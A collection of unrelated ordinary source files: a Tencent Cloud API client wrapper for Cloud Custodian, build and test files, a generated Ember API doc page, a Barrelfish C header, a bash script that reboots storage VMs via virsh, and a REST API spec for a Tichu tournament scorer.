text:
import jmespath
import socket
from retrying import retry
from .utils import PageMethod
from c7n.exceptions import PolicyExecutionError
from requests.exceptions import ConnectionError
from tencentcloud.common import credential
from tencentcloud.common.profile.client_profile import ClientProfile
from tencentcloud.common.profile.http_profile import HttpProfile
from tencentcloud.common.common_client import CommonClient

RETRYABLE_EXCEPTIONS = (socket.error, ConnectionError)

def retry_exception(exception):
    return isinstance(exception, RETRYABLE_EXCEPTIONS)

def retry_result(resp):
    real_resp = resp.get("Response", {})
    err = real_resp.get("Error", None)
    if err:
        return err["Code"].find("RequestLimitExceeded") >= 0
    return False

class Client:
    """
    Client is a wrapper for the CommonClient class.
    About CommonClient:
        https://cloud.tencent.com/document/sdk/Python Comment Client section
    """
    MAX_REQUEST_TIMES = 100
    MAX_RESPONSE_DATA_COUNT = 10000

    def __init__(self,
                 cred: credential.Credential,
                 service: str,
                 version: str,
                 profile: ClientProfile,
                 region: str) -> None:
        self._cli = CommonClient(service, version, cred, region, profile)

    @retry(retry_on_exception=retry_exception,
           retry_on_result=retry_result,
           wait_exponential_multiplier=100,
           wait_exponential_max=1000,
           stop_max_attempt_number=5)
    def execute_query(self, action: str, params: dict) -> dict:
        """
        Call the client method and get the resources.

        :param action: The name of the action to be performed
        :param params: dict, query conditions, resources have different definition,
            need to refer to SDK documents.
        :return: A dictionary
        """
        resp = self._cli.call_json(action, params)
        return resp

    def execute_paged_query(self, action: str, params: dict,
                            jsonpath: str, paging_def: dict) -> list:
        """
        Call the client method and get the resource, the paging query is automatically filled.
        """
        results = []
        paging_method = paging_def["method"]

        if paging_method == PageMethod.Offset:
            params[PageMethod.Offset.name] = 0
            params[paging_def["limit"]["key"]] = paging_def["limit"]["value"]
        elif paging_method == PageMethod.PaginationToken:
            params[PageMethod.PaginationToken.name] = ""
            pagination_token_path = paging_def.get("pagination_token_path", "")
            if not pagination_token_path:
                raise PolicyExecutionError("config to use pagination_token but not set token path")
            params[paging_def["limit"]["key"]] = paging_def["limit"]["value"]
        else:
            raise PolicyExecutionError("unsupported paging method")

        query_counter = 1
        while True:
            if (query_counter > self.MAX_REQUEST_TIMES
            or len(results) > self.MAX_RESPONSE_DATA_COUNT):
                raise PolicyExecutionError("get too many resources from cloud provider")

            # some api Offset and Limit fields are string
            if paging_method == PageMethod.Offset and isinstance(paging_def["limit"]["value"], str):
                params[PageMethod.Offset.name] = str(params[PageMethod.Offset.name])

            result = self.execute_query(action, params)
            query_counter += 1
            items = jmespath.search(jsonpath, result)
            if len(items) > 0:
                results.extend(items)
                if paging_method == PageMethod.Offset:
                    if len(items) < int(paging_def["limit"]["value"]):
                        # no more data
                        break
                    params[PageMethod.Offset.name] = int(params[PageMethod.Offset.name]) +\
                        int(paging_def["limit"]["value"])
                else:
                    token = jmespath.search(pagination_token_path, result)
                    if token == "":
                        break
                    params[PageMethod.PaginationToken.name] = str(token)
            else:
                break
        return results

class Session:
    """Session"""
    def __init__(self) -> None:
        """
        credential_file contains secret_id and secret_key.
        the file content format likes:
            {"TENCENTCLOUD_AK":"", "TENCENTCLOUD_SK":""}
        """
        # just using default get_credentials() method
        # steps: Environment Variable -> profile file -> CVM role
        # for reference: https://github.com/TencentCloud/tencentcloud-sdk-python
        self._cred = credential.DefaultCredentialProvider().get_credentials()

    def client(self,
               endpoint: str,
               service: str,
               version: str,
               region: str) -> Client:
        """client"""
        http_profile = HttpProfile()

        # use regional endpoint, instead of roundtripping to centralized one.
        # in practice this can greatly reduce latency on roundtrips
        if region:
            parts = endpoint.split('.')
            parts.insert(1, region)
            endpoint = '.'.join(parts)

        http_profile.endpoint = endpoint
        client_profile = ClientProfile()
        client_profile.httpProfile = http_profile

        cli = Client(self._cred, service, version, client_profile, region)

        return cli


text:
class NumericExtSpecs < SpecController

end

redpajama_set_name: RedPajamaGithub


text:
TOP = ../../../../..
include $(TOP)/mak/config.mak

BINARY = test_genclass2

GENCLASS_SOURCES = \
    CIM_CommonDatabase.cpp \
    CIM_ConcreteJob.cpp \
    CIM_DatabaseAdministrator.cpp \
    CIM_Dependency.cpp \
    CIM_EnabledLogicalElement.cpp \
    CIM_Job.cpp \
    CIM_LogicalElement.cpp \
    CIM_ManagedElement.cpp \
    CIM_ManagedSystemElement.cpp \
    CIM_OrganizationalEntity.cpp \
    CIM_UserEntity.cpp

GENCLASS_HEADERS = $(GENCLASS_SOURCES:.cpp=.h)

CLEAN += $(GENCLASS_SOURCES) $(GENCLASS_HEADERS)

SOURCES = \
    $(GENCLASS_SOURCES) \
    main.cpp

LIBRARIES = cimple
INCLUDES += -I.

export CIMPLE_MOF_PATH=$(TOP)/schema/cim214

include $(TOP)/mak/rules.mak

genclass $(GENCLASS_SOURCES):
	$(BINDIR)/genclass CIM_DatabaseAdministrator

tests:
	$(TARGET)

vg:
	$(VALGRIND) --tool=memcheck --leak-check=full $(TARGET)


text:
<!DOCTYPE html>

    <meta charset="utf-8">
    <title>components.nf-vertical-line - ember-cli-nf-graph</title>
    <link rel="stylesheet" href="http://yui.yahooapis.com/3.9.1/build/cssgrids/cssgrids-min.css">
    <link rel="stylesheet" href="../assets/vendor/prettify/prettify-min.css">
    <link rel="stylesheet" href="../assets/css/main.css" id="site_styles">
    <link rel="icon" href="../assets/favicon.ico">

            API Docs for:

APIs

Classes

Modules

                            <input type="search" id="api-filter" placeholder="Type to filter APIs">

components.nf-area

components.nf-area-stack

components.nf-bars

components.nf-crosshair

components.nf-dot

components.nf-gg

components.nf-graph

components.nf-graph-content

components.nf-horizontal-line

components.nf-line

components.nf-plot

components.nf-range-marker

components.nf-range-markers

components.nf-right-tick

components.nf-selection-box

components.nf-svg-image

components.nf-svg-line

components.nf-svg-path

components.nf-svg-rect

components.nf-vertical-line

components.nf-x-axis

components.nf-y-axis

components.nf-y-diff

components.{nf-scroll-area}

mixins.graph-area-utils

mixins.graph-data-graphic

mixins.graph-data-position-utils

mixins.graph-graphic-with-tracking-dot

mixins.graph-has-graph-parent

mixins.graph-line-utils

mixins.graph-registered-graphic

mixins.graph-requires-scale-source

mixins.graph-selectable-graphic

utils.nf.graph-event

utils.nf.graph-mouse-event

utils.nf.graph-position

utils.nf.scroll-area-action-context

utils.parse-property-expression

scale-utils

utils/nf/array-helpers

utils/nf/svg-dom

                    Show:

                        <input type="checkbox" id="api-show-inherited" checked>
                        Inherited

                        <input type="checkbox" id="api-show-protected">
                        Protected

                        <input type="checkbox" id="api-show-private">
                        Private

                        <input type="checkbox" id="api-show-deprecated">
                        Deprecated

components.nf-vertical-line Class

            Uses

mixins.graph-has-graph-parent

mixins.graph-requires-scale-source

            Extends Ember.Component

            Defined in: app/components/nf-vertical-line.js:5

            Module: utils/nf/svg-dom

Draws a vertical line on a graph at a given x domain value

Index

Methods

Properties

Item Index

Methods

                                _getGraph

Properties

                                graph

                                lineX

                                scaleOffsetX

                                scaleOffsetY

                                scaleZoomX

                                scaleZoomY

                                x

                                xScale

                                y1

                                y2

                                yScale

Methods

_getGraph

        ()

Inherited from
                mixins.graph-has-graph-parent:
        addon/mixins/graph-has-graph-parent.js:20

<p>Initalization method that gets the <code>nf-graph</code> parent
and assigns it to <code>graph</code></p>

Properties

graph

                        components.nf-graph

Inherited from
                                    mixins.graph-has-graph-parent:
                            addon/mixins/graph-has-graph-parent.js:12

<p>The parent graph for a component.</p>

Default: null

lineX

                        Number

                            private

                                    Defined in
                            app/components/nf-vertical-line.js:46

The calculated x coordinate of the vertical line

scaleOffsetX

                        Number

Inherited from
                                    mixins.graph-requires-scale-source:
                            addon/mixins/graph-requires-scale-source.js:80

<p>The offset, in pixels, for the x scale</p>

Default: 0

scaleOffsetY

                        Number

Inherited from
                                    mixins.graph-requires-scale-source:
                            addon/mixins/graph-requires-scale-source.js:93

<p>The offset, in pixels, for the y scale</p>

Default: 0

scaleZoomX

                        Number

Inherited from
                                    mixins.graph-requires-scale-source:
                            addon/mixins/graph-requires-scale-source.js:54

<p>The zoom multiplier for the x scale</p>

Default: 1

scaleZoomY

                        Number

Inherited from
                                    mixins.graph-requires-scale-source:
                            addon/mixins/graph-requires-scale-source.js:67

<p>The zoom multiplier for the y scale</p>

Default: 1

x

                        Number

                                    Defined in
                            app/components/nf-vertical-line.js:38

The x domain value at which to draw the vertical line on the graph

Default: null

xScale

                        d3.scale

Inherited from
                                    mixins.graph-requires-scale-source:
                            addon/mixins/graph-requires-scale-source.js:30

<p>The x scale used by this component</p>

y1

                        Number

                            private

                                    Defined in
                            app/components/nf-vertical-line.js:20

The top y coordinate of the line

Default: 0

y2

                        Number

                            private

                                    Defined in
                            app/components/nf-vertical-line.js:29

The bottom y coordinate of the line

yScale

                        d3.scale

Inherited from
                                    mixins.graph-requires-scale-source:
                            addon/mixins/graph-requires-scale-source.js:38

<p>The y scale used by this component</p>


text:
/**
 * \file
 * \brief LMP endpoints declarations
 */

/*
 * Copyright (c) 2009, 2010, 2011, ETH Zurich.
 * All rights reserved.
 *
 * This file is distributed under the terms in the attached LICENSE file.
 * If you do not find this file, copies can be found by writing to:
 * ETH Zurich D-INFK, Haldeneggsteig 4, CH-8092 Zurich. Attn: Systems Group.
 */

#ifndef LIBBARRELFISH_LMP_ENDPOINTS_H
#define LIBBARRELFISH_LMP_ENDPOINTS_H

#include <barrelfish/waitset.h>
#include <barrelfish_kpi/lmp.h>

/// In-endpoint size of a maximum-sized LMP message plus header
#define LMP_RECV_LENGTH         (LMP_MSG_LENGTH + LMP_RECV_HEADER_LENGTH)

/// Default size of LMP endpoint buffer (in words), must be >= LMP_RECV_LENGTH
#define DEFAULT_LMP_BUF_WORDS           (LMP_RECV_LENGTH * 2)

/// LMP endpoint structure (including data accessed only by user code)
struct lmp_endpoint {
    struct lmp_endpoint *next, *prev; ///< Next/prev endpoint in poll list
    struct capref recv_slot;///< Receive slot
    struct waitset_chanstate waitset_state; ///< Waitset per-channel state
    uint32_t buflen;        ///< Length of endpoint buffer (in words)
    uint32_t seen;          ///< Position in buffer processed by poll loop, but
                            ///< not necessarily consumed by the user
    struct lmp_endpoint_kern k; ///< Public part (shared with kernel)
    /* buffer beyond end of struct */
};

/**
 * \brief Message layout in user's buffer.
 *
 * Note that the kernel never delivers a message like this.
 */
struct lmp_recv_buf {
    size_t msglen;      ///< Length of message payload (in words)
    size_t buflen;      ///< Length of entire buffer (in words)
    uintptr_t words[0]; ///< Payload (variable length)
};

/// Compute the size needed for an lmp_recv_buf buffer
#define LMP_RECV_BUF_SIZE(n) (sizeof(struct lmp_recv_buf) + ((n)*sizeof(uintptr_t)))

/// Fixed-length version of #lmp_recv_buf
struct lmp_recv_msg {
    struct lmp_recv_buf buf;
    uintptr_t words[LMP_MSG_LENGTH]; ///< Payload (fixed length)
};

/// Static initialiser for lmp_recv_msg
#define LMP_RECV_MSG_INIT { .buf.buflen = LMP_MSG_LENGTH };

errval_t lmp_endpoint_alloc(size_t buflen, struct lmp_endpoint **retep);
void lmp_endpoint_free(struct lmp_endpoint *ep);
errval_t lmp_endpoint_create_in_slot(size_t buflen, struct capref dest,
                                     struct lmp_endpoint **retep);
void lmp_endpoint_set_recv_slot(struct lmp_endpoint *ep, struct capref slot);
bool lmp_endpoint_can_recv(struct lmp_endpoint *ep);
void lmp_endpoints_poll_disabled(dispatcher_handle_t handle);
errval_t lmp_endpoint_recv(struct lmp_endpoint *ep, struct lmp_recv_buf *buf,
                           struct capref *cap);
errval_t lmp_endpoint_register(struct lmp_endpoint *ep, struct waitset *ws,
                               struct event_closure closure);
errval_t lmp_endpoint_deregister(struct lmp_endpoint *ep);
void lmp_endpoint_migrate(struct lmp_endpoint *ep, struct waitset *ws);
void lmp_endpoint_store_lrpc_disabled(struct lmp_endpoint *ep, uint32_t bufpos,
                                      uintptr_t arg1, uintptr_t arg2,
                                      uintptr_t arg3, uintptr_t arg4);
void lmp_endpoint_init(void);

#endif // LIBBARRELFISH_LMP_ENDPOINTS_H


text:
cwd="$(cd "$(dirname "${BASH_SOURCE[0]}")" && pwd)"
source "$cwd/settings.sh"

nonsense=$(timeout $sshTime ssh -o ConnectTimeout=$sshTimeout $hostsystem "echo wakeup")
nonsense=$(timeout $sshTime ssh -o ConnectTimeout=$sshTimeout $hostsystem "echo get ready")
sleep 5

#Gracefully shutdown all VMs.
for i in "${storageNodes[@]}"
do
    ssh -o ConnectTimeout=$sshTimeout $hostsystem "virsh shutdown $i > /dev/null 2>&1"
    sleep 3
done
sleep 10

#force-off any stragglers.
for i in "${storageNodes[@]}"
do
    ssh -o ConnectTimeout=$sshTimeout $hostsystem "virsh destroy $i > /dev/null 2>&1"
    sleep 3
done
sleep 3

#Start the VMs back up.
for i in "${storageNodes[@]}"
do
    ssh -o ConnectTimeout=$sshTimeout $hostsystem "virsh start $i > /dev/null 2>&1"
    sleep 5
done
howLongToWait=30
sleep $howLongToWait

#Initially set completion status to false in order to enter into the loop.
complete="false"

count=0
#Run this loop until completion isn't false. This is the outter loop.
while [[ "$complete" == "false" ]]; do

    complete="true"
    #Loop through each node to check status, this is the inner loop.
    for i in "${storageNodes[@]}"
    do

        status="offline"
        status=$(ssh -o ConnectTimeout=$sshTimeout $i "echo up" 2> /dev/null)

        if [[ "$status" != "up" ]]; then
            complete="false"
	    echo "Waiting on \"$i\" to come back online..." >> $output
        fi
    done #Inner loop done.

    count=$(($count + 1))
    if [[ $count -gt $rebootTimeout ]]; then
        break
    fi
    sleep 5 #Update frequency.
done #Outter loop done.


text:
When responding with a 4xx or 5xx response code to any API call, the server should return error
information in this format instead of returning the normal response for that call.

    {
        "error": "Invalid name",
        "detail": "name must be non-empty"
    }

* `error`: The user-readable text of the error.
* `detail`: More specific text describing what exactly went wrong.

## Tournaments (/api/tournaments)

### List tournaments (GET /api/tournaments)

**Requires authentication.**
Retrieves the currently logged in director's tournament list.

#### Status codes

* **200**: Successfully listed tournaments.
* **401**: User is not logged in.
* **500**: Server failed to look up tournaments for any other reason.

#### Response

    {
        "tournaments": [{
            "id": "1234567890abcdef",
            "name": "Tournament Name"
        }]
    }

* `tournaments`: Array of objects. The list of tournaments owned by this user.
    * `id`: String. An opaque, unique ID used to access the details about this tournament.
    * `name`: String. A user-specified and user-readable name suitable for display in a tournament
      list.

### Create tournament (POST /api/tournaments)

**Requires authentication.**
Creates a new tournament owned by the currently logged in director.

#### Request

    {
        "name": "Tournament Name",
        "no_pairs": 8,
        "no_boards": 10,
        "players": [{
            "pair_no": 1,
            "name": "Michael the Magnificent",
            "email": "michael@michael.com"
        }]
        "allow_score_overwrites" : true
    }

* `name`: String. A user-specified and user-readable name suitable for display in a tournament list.
  Required.
* `no_pairs`: Integer. The number of pairs (teams) to play in this tournament. Must be greater
  than 0. Required.
* `no_boards`: Integer. The number of boards (hands) to be played. Must be greater than 0.
  Required.
* `players`: List of objects. More information about the players. There should be at most
  two players for the same `pair_no`. Optional.
    * `pair_no`: Integer. The pair this player belongs to. Must be between 0 and `no_pairs`. Required.
    * `name`: String. User-readable name for the player. Optional.
    * `email`: String. Email for the player that can be used to identify user posting hand
      results. Optional.
* `allow_score_overwrites`: Whether non-administrator players are allowed to overwrite
  existing scores. If false, players can only enter scores for non-scored hands. Optional,
  defaults to false.

#### Status codes

* **201**: The tournament was successfully created.
* **400**: One or more required fields were not specified, or failed validation.
* **401**: User is not logged in.
* **500**: Server failed to create a tournament for any other reason.

#### Response

    {
        "id": "1234567890abcdef"
    }

* `id`: String. An opaque, unique ID used to access the details about the newly created tournament.

### Add an existing tournament (PUT /api/tournaments/)

**Requires authentication and ownership of the given tournament.**
Adds an existing possibly partially filled in tournament to the user's tournaments.
Can be used primarily to inject locally created tournaments to storage.

#### Request

<!-- time 4 code -->
    {
        "name": "Tournament Name",
        "no_pairs": 8,
        "no_boards": 10,
        "players": [{
            "pair_no": 1,
            "name": "Michael the Magnificent",
            "email": "michael@michael.com"
        }],
        "hands": [{
            "board_no": 3,
            "ns_pair": 4,
            "ew_pair": 6,
            "calls": {
                "north": "T",
                "east": "GT",
                "west": "",
                "south": ""
            },
            "ns_score": 150,
            "ew_score": -150,
            "notes": "hahahahahaha what a fool"
        }],
        "allow_score_overwrites" : true
    }

* `name`: String. A user-specified and user-readable name suitable for display in a tournament list.
  Required.
* `no_pairs`: Integer. The number of pairs (teams) to play in this tournament. Must be greater
  than 0. Required.
* `no_boards`: Integer. The number of boards (hands) to be played. Must be greater than 0.
  Required.
* `players`: List of objects. More information about the players. There should be at most
  two players for the same `pair_no`. Optional.
    * `pair_no`: Integer. The pair this player belongs to. Must be between 0 and `no_pairs`. Required.
    * `name`: String. User-readable name for the player. Optional.
    * `email`: String. Email for the player that can be used to identify user posting hand
      results. Optional.
* `hands`: List of objects. The records of all hands played so far in this tournament. There will be
  at most one per combination of `board_no`, `ns_pair`, and `ew_pair`.
    * `board_no`: Integer. The board number for this hand. Must be between 1 and `no_boards`,
      inclusive.
    * `ns_pair`: Integer. The number of the north-south pair. Must be between 1 and `no_pairs`,
      inclusive, and different from `ew_pair`.
    * `ew_pair`: Integer. The number of the east-west pair. Must be between 1 and `no_pairs`,
      inclusive, and different from `ns_pair`.
    * `calls`: Object. Calls made by players. May have entries for `north`, `east`, `west`, `south`.
      Each entry may be `"T"`, indicating a call of Tichu, `"GT"`, indicating a call of Grand Tichu,
      or `""`, indicating no call. If an entry is absent, it is assumed to mean no call.
    * `ns_score`: Integer or string. The score of the north-south pair, including Tichu bonuses and
      penalties. May also be the string "AVG", "AVG+", "AVG++", "AVG-", or "AVG--".
    * `ew_score`: Integer or string. The score of the east-west pair, including Tichu bonuses and
      penalties. May also be the string "AVG", "AVG+", "AVG++", "AVG-", or "AVG--".
    * `notes`: String. Any additional notes about the hand added by the scorer or the director.
* `allow_score_overwrites`: Whether non-administrator players are allowed to overwrite
  existing scores. If false, players can only enter scores for non-scored hands. Optional,
  defaults to false.

#### Status codes

* **201**: The tournament was successfully injected.
* **400**: One or more required fields were not specified, or failed validation.
* **401**: User is not logged in.
* **500**: Server failed to inject the tournament for any other reason.

#### Response

    {
        "id": "1234567890abcdef"
    }

* `id`: String. An opaque, unique ID used to access the details about the newly injected tournament.

### Read tournament (GET /api/tournaments/:id)

**Requires authentication and ownership of the given tournament.**
Retrieves the details about a tournament owned by the currently logged in director.

#### Request

* `id`: String. An opaque, unique ID returned from `GET /tournaments` or `POST /tournaments`.

#### Status codes

* **200**: The tournament was successfully retrieved.
* **401**: User is not logged in.
* **403**: User is logged in, but does not own the given tournament.
* **404**: No tournament with the given ID exists.
* **500**: Server failed to locate the tournament for any other reason.

#### Response

    {
        "name": "Tournament Name",
        "no_pairs": 8,
        "no_boards": 10,
        "pair_ids": ["ABCD", "DEFG", "HIJK", "LMNO", "QRST", "UVWX", "YZAB", "CDEF"],
        "players": [{
            "pair_no": 1,
            "name": "Michael the Magnificent",
            "email": "michael@michael.com"
        }],
        "hands": [{
            "board_no": 3,
            "ns_pair": 4,
            "ew_pair": 6,
            "calls": {
                "north": "T",
                "east": "GT",
                "west": "",
                "south": ""
            },
            "ns_score": 150,
            "ew_score": -150,
            "notes": "hahahahahaha what a fool"
        }],
        "allow_score_overwrites" : true
    }

* `name`: String. A user-specified and user-readable name suitable for display in a tournament list.
* `no_pairs`: Integer. The number of pairs (teams) to play in this tournament. Must be greater
  than 0.
* `no_boards`: Integer. The number of boards (hands) to be played. Must be greater than 0.
* `pair_ids`: List of Strings. A list of unique ID codes associated with a team for
   this specific tournament. Length of the list must equal `no_pairs`.
* `players`: List of objects. More information about the players. There should be at most
  two players for the same `pair_no`. Optional.
    * `pair_no`: Integer. The pair this player belongs to. Must be between 0 and `no_pairs`. Required.
    * `name`: String. User-readable name for the player. Optional.
    * `email`: String. Email for the player that can be used to identify user posting hand
      results. Optional.
* `hands`: List of objects. The records of all hands played so far in this tournament. There will be
  at most one per combination of `board_no`, `ns_pair`, and `ew_pair`.
    * `board_no`: Integer. The board number for this hand. Must be between 1 and `no_boards`,
      inclusive.
    * `ns_pair`: Integer. The number of the north-south pair. Must be between 1 and `no_pairs`,
      inclusive, and different from `ew_pair`.
    * `ew_pair`: Integer. The number of the east-west pair. Must be between 1 and `no_pairs`,
      inclusive, and different from `ns_pair`.
    * `calls`: Object. Calls made by players. May have entries for `north`, `east`, `west`, `south`.
      Each entry may be `"T"`, indicating a call of Tichu, `"GT"`, indicating a call of Grand Tichu,
      or `""`, indicating no call. If an entry is absent, it is assumed to mean no call.
    * `ns_score`: Integer or string. The score of the north-south pair, including Tichu bonuses and
      penalties. May also be the string "AVG", "AVG+", "AVG++", "AVG-", or "AVG--".
    * `ew_score`: Integer or string. The score of the east-west pair, including Tichu bonuses and
      penalties. May also be the string "AVG", "AVG+", "AVG++", "AVG-", or "AVG--".
    * `notes`: String. Any additional notes about the hand added by the scorer or the director.
* `allow_score_overwrites`: Whether non-administrator players are allowed to overwrite
  existing scores. If false, players can only enter scores for non-scored hands. Required.

### Update tournament (PUT /api/tournaments/:id)

**Requires authentication and ownership of the given tournament.**
Updates the details about a tournament owned by the currently logged in director.

#### Request

* `id`: String. An opaque, unique ID returned from `GET /tournaments` or `POST /tournaments`.

<!-- time 4 code -->

    {
        "name": "Tournament Name",
        "no_pairs": 8,
        "no_boards": 10,
        "players": [{
            "pair_no": 1,
            "name": "Michael the Magnificent",
            "email": "michael@michael.com"
        }],
        "allow_score_overwrites" : true
    }

* `name`: String. A user-specified and user-readable name suitable for display in a tournament list.
  Required.
* `no_pairs`: Integer. The number of pairs (teams) to play in this tournament. Must be greater
  than 0. Required.
  If `no_pairs` is different from the current setting of the tournament, the `pair_ids`
  associated with individual pairs are invalidated and new ones are recomputed. Otherwise
  the `pair_ids` stay the same even if `no_boards` or `name` is changed.
* `no_boards`: Integer. The number of boards (hands) to be played. Must be greater than 0.
  Required.
* `players`: List of objects. More information about the players. There should be at most
  two players for the same `pair_no`. Optional.
    * `pair_no`: Integer. The pair this player belongs to. Must be between 0 and `no_pairs`. Required.
    * `name`: String. User-readable name for the player. Optional.
    * `email`: String. Email for the player that can be used to identify user posting hand
      results. Optional.
* `allow_score_overwrites`: Whether non-administrator players are allowed to overwrite
  existing scores. If false, players can only enter scores for non-scored hands. Optional,
  defaults to false.

#### Status codes

* **204**: The tournament was successfully updated.
* **400**: The tournament already has registered hand results.
* **401**: User is not logged in.
* **403**: User is logged in, but does not own the given tournament.
* **404**: No tournament with the given ID exists.
* **500**: Server failed to locate or update the tournament for any other reason.

### Delete tournament (DELETE /api/tournaments/:id)

**Requires authentication and ownership of the given tournament.**
Deletes a tournament owned by the currently logged in director.

#### Request

* `id`: String. An opaque, unique ID returned from `GET /tournaments` or `POST /tournaments`.

#### Status codes

* **204**: The tournament was successfully deleted.
* **401**: User is not logged in.
* **403**: User is logged in, but does not own the given tournament.
* **404**: No tournament with the given ID exists.
* **500**: Server failed to locate or delete the tournament for any other reason.

### Read hand preparation info (GET /api/tournaments/:id/handprep)

**Requires authentication and ownership of the given tournament.**
Retrieves information about which teams should prepare which hands in the tournament.

#### Request

* `id`: String. An opaque, unique ID returned from `GET /tournaments` or `POST /tournaments`.

#### Status codes

* **200**: The hand preparation information was successfully retrieved.
* **401**: User is not logged in.
* **403**: User is logged in, but does not own the given tournament.
* **404**: No tournament with the given ID exists.
* **500**: Server failed to determine information for any other reason.

#### Response

    {
        "unplayed_hands": [
            {
                "pair_no": 1
                "hands": [1, 2, 5, 6]
            },
            {
                "pair_no": 2
                "hands": [1, 2, 5, 6]
            },
        ]
        "preparation": [
            {
                "pair_no": 1
                "hands": [1, 2]
            },
            {
                "pair_no": 2
                "hands": [5, 6]
            },
        ]
    }

* `unplayed_hands`: List of objects. Comprehensive information about which hands
  will not be played by each team. Required.
    * `pair_no`: Integer. The pair that has not played hands in this object. Required.
    * `hands`: List of Integers. List of all hands this pair will not play. Required.
* `preparation`: List of objects. Suggested set of hands each pair should prepare. Required.
    * `pair_no`: Integer. The pair that should prepare hands in this object. Required.
    * `hands`: List of Integers. List of all hands this pair should prepare. Required.

### Fetch the pair identifiers (GET /api/tournaments/:id/pairids)

**Requires authentication and ownership of the given tournament.**
Fetches the team unique identifiers for all pairs involved in the tournament.

#### Request

* `id`: String. An opaque, unique ID returned from `GET /tournaments` or `POST /tournaments`.

#### Status codes

* **200**: The pair ids were successfully retrieved.
* **401**: User is not logged in.
* **403**: User is logged in, but does not own the given tournament.
* **404**: No tournament with the given ID exists.
* **500**: Server failed to locate the ids for any other reason.

#### Response

    {
        "pair_ids": [ "ACJB", "DFKF", "ALRY", "DFRJ", "ADTR", "LKRN" ]
    }

* `pair_ids`: List of strings. A list of unique ID codes associated with a team for
   this specific tournament. Length of the list must equal `no_pairs` in the
   request. Stable as long as `num_pairs` does not change.

### Fetch a specific pair identifier (GET /api/tournaments/:id/pairids/:pair_no)

**Requires authentication and ownership of the given tournament.**
Fetches the team identifier for the pair number `pair_no`.

#### Request

* `id`: String. An opaque, unique ID returned from `GET /tournaments` or `POST /tournaments`.
* `pair_no`: Integer. The pair number.

#### Status codes

* **200**: The pair id was successfully retrieved.
* **401**: User is not logged in.
* **403**: User is logged in, but does not own the given tournament.
* **404**: No tournament with the given ID exists or the pair number is not a valid pair
  for this tournament.
* **500**: Server failed to locate the ids for any other reason.

#### Response

    {
        "pair_id": "ACJB"
    }

* `pair_id`: String. A unique ID code associated with this team for this specific tournament.
   Stable as long as `num_pairs` for the tournament does not change.

### Fetch a specific pair identifier (GET /api/tournaments/pairno/:pair_id)

Fetches the tournament information for the pair with `pair_id` identifier.

#### Request

* `pair_id`: String. The pair identifier.

#### Status codes

* **200**: The pair number was successfully retrieved.
* **404**: The pair ID does not exist.
* **500**: Server failed to locate the ids for any other reason.

#### Response

    {
        tournament_infos: [{
          "pair_no": 7
          "tournament_id": 1234567890abcdef
        }]

    }

* `tournament_infos`: List of objects. Each object contains information about an active tournament that
  pair is participating in. Will contain a single element almost always.
  * `pair_no`: Integer. The pair number associated with this ID in this tournament. Will be
     between 0 and the total number of pairs in the tournament.
  * `tournament_id`: String. Tournament id of this tournament.

### Get the schedule of boards a team must play. (GET /api/tournaments/:id/movement/:pair_no)

**Requires one of authentication and ownership of this tournament or a request
header with an appropriate pair id for pair_no**
Fetches the movement (schedule) for the team in question for this tournament.

#### Request Header
Optional. Necessary only for non-tournament owners.
<!-- time 4 code -->
    X-tichu-pair-code: MANQ

* `X-tichu-pair-code`: 4 character capitalized identifier of one of the pairs
  involved in this hand. This ID is the same as returned from
  `GET /tournaments/:id/pairid/:pair_no`

#### Request

* `id`: String. An opaque, unique ID returned from `GET /tournaments` or `POST /tournaments`.
* `pair_no`: Integer. The team number for a pair in the tournament. Must be greater than
  0 and not higher than the number of pairs in the tournament.

#### Status codes

* **200**: The schedule was successfully retrieved.
* **404**: No tournament with the given ID exists or the pair number is invalid.
* **500**: Server failed to locate the schedule for any other reason.

#### Response

    {
        "name": "Tournament Name"
        "players": [{
            "name": "Michael the Magnificent",
            "email": "michael@michael.com"
        },
        {
            "name": "Anna the Amazing",
            "email": "anna@anna.com"
        }]
        "allow_score_overwrites": true
        "movement": [{
            "round": 1
            "position": "3N"
            "opponent": 2
            "opponent_names": [
                "Peter the Positive",
                "Christopher the Columbus"
            ]
            "hands": [
                {
                    "hand_no" : 13
                    "score" : {
                        "calls": {
                            "north": "T",
                            "east": "GT",
                            "west": "",
                            "south": ""
                         },
                        "ns_score": 150,
                        "ew_score": -150,
                        "notes": "I am a note"
                    },
                }
                {
                    "hand_no" : 14
                }
                {
                    "hand_no" : 15
                }
            ]
        },
        {
            "round": 2
            "position": "1E"
            "opponent": 4
            "opponent_names": [
                "Jonathan the Jovial",
                "Nathaniel the Notorious"
            ]
            "hands": [
                {
                    "hand_no" : 7
                }
                {
                    "hand_no" : 8
                }
                {
                    "hand_no" : 9
                }
        }
    ]
    }

* `name`: String. A user-specified and user-readable name suitable for display in a tournament list.
* `players`: List of objects. More information about the players. There should be at most
  two players.
    * `name`: String. User-readable name for the player. Optional.
    * `email`: String. Email for the player that can be used to identify user posting hand
      results. Optional.
* `allow_score_overwrites`: Whether non-administrator players are allowed to overwrite
  existing scores. If false, players can only enter scores for non-scored hands. Required.
* `movement`: List of objects. The generated movement that records all hands that this team
  plays along with associated opponents and position to be played from. An object for each
  round in the tournament will be included. If the pair requested did not play in the round
  only the `round` field will be populated.
    * `round`: Integer. The round number during which this hand is to be played. Required.
    * `position`: String. Position for this team. Two character string starting with the
       table number and ending with either 'N' for North/South or 'E' for East/West. Optional.
    * `opponent`: Integer. The number of the opponent pair for this round. Required.
    * `opponent_names`: List of Strings. Names of the opponents for this round. Optional.
    * `hands`: List of integers. Set of hand numbers to be played by this team/opponent
       combination. Optional.
        * `score`: Object. If the hand has already been scored contains relevant information
          about the score. Optional.
          * `calls`: Object. Calls made by players. May have entries for `north`, `east`, `west`, `south`.
            Each entry may be `"T"`, indicating a call of Tichu, `"GT"`, indicating a call of Grand Tichu,
            or `""`, indicating no call. If an entry is absent, it is assumed to mean no call.
          * `ns_score`: Integer or string. The score of the north-south pair, including Tichu bonuses and
            penalties. May also be the string "AVG", "AVG+", "AVG++", "AVG-", or "AVG--".
          * `ew_score`: Integer or string. The score of the east-west pair, including Tichu bonuses and
            penalties. May also be the string "AVG", "AVG+", "AVG++", "AVG-", or "AVG--".
          * `notes`: String. Any additional notes about the hand added by the scorer or the director.
    * `relay_table`: Boolean. If set, this set of hands must be played simultaneously with
       another table. Optional.

### Check if hand has been scored (HEAD /api/tournaments/:id/hands/:board_no/:ns_pair/:ew_pair)

Checks if the given hand was already scored.

#### Request

* `id`: String. An opaque, unique ID returned from `GET /tournaments` or `POST /tournaments`.
* `board_no`: Integer. The board number for this hand. Must be between 1 and `no_boards`,
  inclusive.
